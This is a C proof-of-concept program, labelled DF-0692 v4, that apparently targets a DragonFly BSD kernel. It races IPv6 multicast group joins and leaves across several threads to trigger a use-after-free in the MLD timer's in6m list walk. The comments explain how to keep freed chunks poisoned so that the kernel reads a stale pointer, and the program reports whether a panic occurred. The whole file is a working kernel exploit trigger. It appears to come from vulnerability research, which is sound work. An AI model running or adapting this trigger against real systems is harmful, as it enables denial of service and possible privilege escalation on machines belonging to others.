/*
 * DF-0692 PoC (v4): steady-state trickle to keep freed in6m chunks poisoned
 * (debug.use_weird_array=1) for milliseconds at a time so fasttimeo's 200ms
 * walk has a real chance of reading step.i_in6m->le_next from a freed chunk.
 *
 * Main thread slowly joins fresh groups (cycling a large addr space so the
 * slab doesn't immediately LIFO-reuse the just-freed chunk for the same
 * group); NCPU workers slowly leave currently-joined groups. Steady state
 * keeps ~a few dozen live in6m in the list (timers_are_running=1) while a
 * steady trickle of frees poisons chunks that fasttimeo may walk into.
 *
 * Build: cc -O2 -pthread -o mld_trickle mld_trickle.c
 * Run  : ./mld_trickle <duration_sec>
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <time.h>

#ifndef IPV6_JOIN_GROUP
#define IPV6_JOIN_GROUP  12
#endif
#ifndef IPV6_LEAVE_GROUP
#define IPV6_LEAVE_GROUP 13
#endif

#define IFINDEX   1
#define SPACE   2000      /* distinct groups in the address space */
#define NWORK      6

static int g_sock = -1;
static struct in6_addr g_space[SPACE];
static volatile char g_joined[SPACE];   /* 1 if currently joined */
static volatile int g_stop = 0;
static volatile unsigned g_next = 0;

static void mkaddr(struct in6_addr *a, unsigned idx)
{
    memset(a, 0, sizeof(*a));
    a->s6_addr[0] = 0xff;
    a->s6_addr[1] = 0x02;
    a->s6_addr[14] = (uint8_t)(0x10 + ((idx >> 8) & 0x3f));
    a->s6_addr[15] = (uint8_t)(idx & 0xff);
}
static int sop(int opt, unsigned idx)
{
    struct ipv6_mreq m = { .ipv6mr_multiaddr = g_space[idx], .ipv6mr_interface = IFINDEX };
    return setsockopt(g_sock, IPPROTO_IPV6, opt, &m, sizeof(m));
}

/* main thread: trickle joins to keep list alive + timers armed */
static void *joiner(void *arg)
{
    (void)arg;
    while (!g_stop) {
        unsigned idx = (g_next++) % SPACE;
        if (!g_joined[idx]) {
            if (sop(IPV6_JOIN_GROUP, idx) == 0)
                g_joined[idx] = 1;
        }
        /* ~1 join per 3ms => ~330/s; freed chunks stay poisoned ~3ms avg */
        struct timespec ts = { 0, 3 * 1000 * 1000 };
        nanosleep(&ts, NULL);
    }
    return NULL;
}

/* worker: trickle leaves */
static void *leaver(void *arg)
{
    unsigned seed = (unsigned)(uintptr_t)arg;
    while (!g_stop) {
        unsigned idx = (seed * 1103515245u + 12345u) % SPACE;
        seed = seed * 1103515245u + 7654321u;
        if (g_joined[idx]) {
            if (sop(IPV6_LEAVE_GROUP, idx) == 0)
                g_joined[idx] = 0;
        }
        struct timespec ts = { 0, 1 * 1000 * 1000 };
        nanosleep(&ts, NULL);
    }
    return NULL;
}

int main(int argc, char **argv)
{
    int dur = (argc > 1) ? atoi(argv[1]) : 180;
    pthread_t jth, lth[NWORK];
    unsigned i;

    g_sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (g_sock < 0) { perror("socket"); return 1; }
    for (i = 0; i < SPACE; i++) mkaddr(&g_space[i], i);

    fprintf(stderr, "DF-0692 v4 trickle: SPACE=%d NWORK=%d dur=%ds\n", SPACE, NWORK, dur);
    pthread_create(&jth, NULL, joiner, NULL);
    for (i = 0; i < NWORK; i++)
        pthread_create(&lth[i], NULL, leaver, (void *)(uintptr_t)(i + 1));

    sleep(dur);
    g_stop = 1;
    pthread_join(jth, NULL);
    for (i = 0; i < NWORK; i++) pthread_join(lth[i], NULL);

    /* drain */
    for (i = 0; i < SPACE; i++) if (g_joined[i]) sop(IPV6_LEAVE_GROUP, i);
    close(g_sock);
    fprintf(stderr, "no panic observed; check dfbsd-qemu/boot.log\n");
    return 0;
}
